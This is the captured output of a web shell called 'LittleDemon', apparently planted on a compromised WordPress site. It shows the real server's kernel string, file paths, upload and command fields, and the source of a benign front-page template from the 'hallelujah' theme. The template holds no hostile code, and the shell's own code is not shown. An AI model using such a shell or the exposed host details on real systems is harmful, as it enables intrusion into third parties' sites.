LittleDemon WebShell


Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Path : /home/eglisebaa/www/wp-content/themes/hallelujah/front-page/
File Upload :
Command :
Current File : /home/eglisebaa/www/wp-content/themes/hallelujah/front-page/section-title.php

<?php
$hallelujah_slider_sc = hallelujah_get_theme_option( 'front_page_title_shortcode' );
if ( ! empty( $hallelujah_slider_sc ) && strpos( $hallelujah_slider_sc, '[' ) !== false && strpos( $hallelujah_slider_sc, ']' ) !== false ) {

	?><div class="front_page_section front_page_section_title front_page_section_slider front_page_section_title_slider
		<?php
		if ( hallelujah_get_theme_option( 'front_page_title_stack' ) ) {
			echo ' sc_stack_section_on';
		}
		?>
	">
	<?php
		// Add anchor
		$hallelujah_anchor_icon = hallelujah_get_theme_option( 'front_page_title_anchor_icon' );
		$hallelujah_anchor_text = hallelujah_get_theme_option( 'front_page_title_anchor_text' );
	if ( ( ! empty( $hallelujah_anchor_icon ) || ! empty( $hallelujah_anchor_text ) ) && shortcode_exists( 'trx_sc_anchor' ) ) {
		echo do_shortcode(
			'[trx_sc_anchor id="front_page_section_title"'
									. ( ! empty( $hallelujah_anchor_icon ) ? ' icon="' . esc_attr( $hallelujah_anchor_icon ) . '"' : '' )
									. ( ! empty( $hallelujah_anchor_text ) ? ' title="' . esc_attr( $hallelujah_anchor_text ) . '"' : '' )
									. ']'
		);
	}
		// Show slider (or any other content, generated by shortcode)
		echo do_shortcode( $hallelujah_slider_sc );
	?>
	</div>
	<?php

} else {

	?>
	<div class="front_page_section front_page_section_title
		<?php
		$hallelujah_scheme = hallelujah_get_theme_option( 'front_page_title_scheme' );
		if ( ! empty( $hallelujah_scheme ) && ! hallelujah_is_inherit( $hallelujah_scheme ) ) {
			echo ' scheme_' . esc_attr( $hallelujah_scheme );
		}
		echo ' front_page_section_paddings_' . esc_attr( hallelujah_get_theme_option( 'front_page_title_paddings' ) );
		if ( hallelujah_get_theme_option( 'front_page_title_stack' ) ) {
			echo ' sc_stack_section_on';
		}
		?>
		"
		<?php
		$hallelujah_css      = '';
		$hallelujah_bg_image = hallelujah_get_theme_option( 'front_page_title_bg_image' );
		if ( ! empty( $hallelujah_bg_image ) ) {
			$hallelujah_css .= 'background-image: url(' . esc_url( hallelujah_get_attachment_url( $hallelujah_bg_image ) ) . ');';
		}
		if ( ! empty( $hallelujah_css ) ) {
			echo ' style="' . esc_attr( $hallelujah_css ) . '"';
		}
		?>
	>
	<?php
		// Add anchor
		$hallelujah_anchor_icon = hallelujah_get_theme_option( 'front_page_title_anchor_icon' );
		$hallelujah_anchor_text = hallelujah_get_theme_option( 'front_page_title_anchor_text' );
	if ( ( ! empty( $hallelujah_anchor_icon ) || ! empty( $hallelujah_anchor_text ) ) && shortcode_exists( 'trx_sc_anchor' ) ) {
		echo do_shortcode(
			'[trx_sc_anchor id="front_page_section_title"'
									. ( ! empty( $hallelujah_anchor_icon ) ? ' icon="' . esc_attr( $hallelujah_anchor_icon ) . '"' : '' )
									. ( ! empty( $hallelujah_anchor_text ) ? ' title="' . esc_attr( $hallelujah_anchor_text ) . '"' : '' )
									. ']'
		);
	}
	?>
		<div class="front_page_section_inner front_page_section_title_inner
		<?php
		if ( hallelujah_get_theme_option( 'front_page_title_fullheight' ) ) {
			echo ' hallelujah-full-height sc_layouts_flex sc_layouts_columns_middle';
		}
		?>
			"
			<?php
			$hallelujah_css      = '';
			$hallelujah_bg_mask  = hallelujah_get_theme_option( 'front_page_title_bg_mask' );
			$hallelujah_bg_color_type = hallelujah_get_theme_option( 'front_page_title_bg_color_type' );
			if ( 'custom' == $hallelujah_bg_color_type ) {
				$hallelujah_bg_color = hallelujah_get_theme_option( 'front_page_title_bg_color' );
			} elseif ( 'scheme_bg_color' == $hallelujah_bg_color_type ) {
				$hallelujah_bg_color = hallelujah_get_scheme_color( 'bg_color', $hallelujah_scheme );
			} else {
				$hallelujah_bg_color = '';
			}
			if ( ! empty( $hallelujah_bg_color ) && $hallelujah_bg_mask > 0 ) {
				$hallelujah_css .= 'background-color: ' . esc_attr(
					1 == $hallelujah_bg_mask ? $hallelujah_bg_color : hallelujah_hex2rgba( $hallelujah_bg_color, $hallelujah_bg_mask )
				) . ';';
			}
			if ( ! empty( $hallelujah_css ) ) {
				echo ' style="' . esc_attr( $hallelujah_css ) . '"';
			}
			?>
		>
			<div class="front_page_section_content_wrap front_page_section_title_content_wrap content_wrap">
				<?php
				// Caption
				$hallelujah_caption = hallelujah_get_theme_option( 'front_page_title_caption' );
				if ( ! empty( $hallelujah_caption ) || ( current_user_can( 'edit_theme_options' ) && is_customize_preview() ) ) {
					?>
					<h1 class="front_page_section_caption front_page_section_title_caption front_page_block_<?php echo ! empty( $hallelujah_caption ) ? 'filled' : 'empty'; ?>"><?php echo wp_kses( $hallelujah_caption,'hallelujah_kses_content' ); ?></h1>
					<?php
				}

				// Description (text)
				$hallelujah_description = hallelujah_get_theme_option( 'front_page_title_description' );
				if ( ! empty( $hallelujah_description ) || ( current_user_can( 'edit_theme_options' ) && is_customize_preview() ) ) {
					?>
					<div class="front_page_section_description front_page_section_title_description front_page_block_<?php echo ! empty( $hallelujah_description ) ? 'filled' : 'empty'; ?>"><?php echo wp_kses( wpautop( $hallelujah_description ),'hallelujah_kses_content' ); ?></div>
					<?php
				}

				// Buttons
				if ( hallelujah_get_theme_option( 'front_page_title_button1_link' ) != '' || hallelujah_get_theme_option( 'front_page_title_button2_link' ) != '' ) {
					?>
					<div class="front_page_section_buttons front_page_section_title_buttons">
					<?php
						hallelujah_show_layout( hallelujah_customizer_partial_refresh_front_page_title_button1_link() );
						hallelujah_show_layout( hallelujah_customizer_partial_refresh_front_page_title_button2_link() );
					?>
					</div>
					<?php
				}
				?>
			</div>
		</div>
	</div>
	<?php
}

LittleDemon - FACEBOOK
[ KELUAR ]